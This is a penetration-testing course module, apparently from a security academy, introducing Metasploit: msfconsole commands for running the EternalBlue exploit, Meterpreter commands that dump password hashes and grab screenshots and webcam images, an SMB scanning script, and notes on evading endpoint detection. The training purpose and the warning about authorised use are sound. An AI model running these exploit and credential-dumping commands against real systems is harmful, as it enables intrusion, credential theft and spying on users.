Module 3 · Metasploit Framework Basics

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 19, 2026
2 min read
Read as

Last updated: April 29, 2026

Metasploit Framework (MSF) is the world’s most widely-used exploitation platform. It bundles thousands of exploits, payloads, post-exploitation modules, and auxiliary tools under one console. This module gets you comfortable launching your first authorised exploit and understanding what MSF is doing behind the scenes.

Metasploit Framework (MSF) is the world’s most widely-used exploitation platform. It bundles thousands of exploits, payloads, post-exploitation modules, and auxiliary tools under one console. This module gets you comfortable launching your first authorised exploit and understanding what MSF is doing behind the scenes.

Core concepts

  • Exploit — code that takes advantage of a vulnerability
  • Payload — what runs after successful exploitation (reverse shell, Meterpreter session, staged shellcode)
  • Encoder — transforms payload bytes to evade simple signature detection
  • Auxiliary — scanners, fuzzers, DoS tools — things that aren’t exploits but support the workflow
  • Post — modules run against an established session (credential harvesting, privilege escalation, persistence)
  • Listener / Handler — the attacker-side component awaiting callback from a payload

Launching msfconsole

# Kali / Ubuntu
msfconsole

# Update module database (first run or periodically)
msfupdate

# Inside msfconsole:
search type:exploit name:eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.0.0.5
set LHOST 10.0.0.100
exploit

Meterpreter — the post-exploit Swiss army

Meterpreter is MSF’s signature payload. It lives entirely in memory (no file on disk), provides a cross-platform command API, and supports extensive post-exploitation:

# After a session is established
meterpreter > sysinfo         # OS info
meterpreter > getuid          # who am I
meterpreter > getprivs        # privileges
meterpreter > hashdump        # dump local SAM hashes
meterpreter > screenshot      # screencap
meterpreter > webcam_snap     # ...
meterpreter > migrate 1234    # move into another process
meterpreter > run post/multi/gather/env

The -r resource script pattern

Repeatable workflows save time. Create a .rc file:

# scan.rc
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
set THREADS 50
run
exit

# Execute
msfconsole -qr scan.rc

Detection and ethics

Default Meterpreter binaries are signature-detected by essentially every EDR. Modern usage requires custom encoding, msfvenom shellcode shaping, or moving away from stock payloads. More importantly:

  • MSF is for authorised engagements only
  • Unauthorised use = cyber crime under IT Act §43/66 (India)
  • Even “harmless” scans leave forensic artefacts — IP, user agent, timing

Alternative / adjacent frameworks

  • Cobalt Strike — commercial; red team’s adversary simulator (widely abused by real threat actors)
  • Sliver — open source C2, modern replacement
  • Empire — PowerShell-focused (historical)
  • Merlin — HTTP/2 C2 in Go

Quick reference summary

  • MSF = Framework with exploits, payloads, auxiliary, post-exploitation modules
  • Workflow: search → use → show options → set → exploit
  • Meterpreter = in-memory cross-platform payload with rich API
  • Resource scripts (.rc) automate repetitive workflows
  • Default payloads are easily detected — modern red team requires customisation
  • Legal only on authorised targets
🧠
Check your understanding

Module Quiz · 20 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants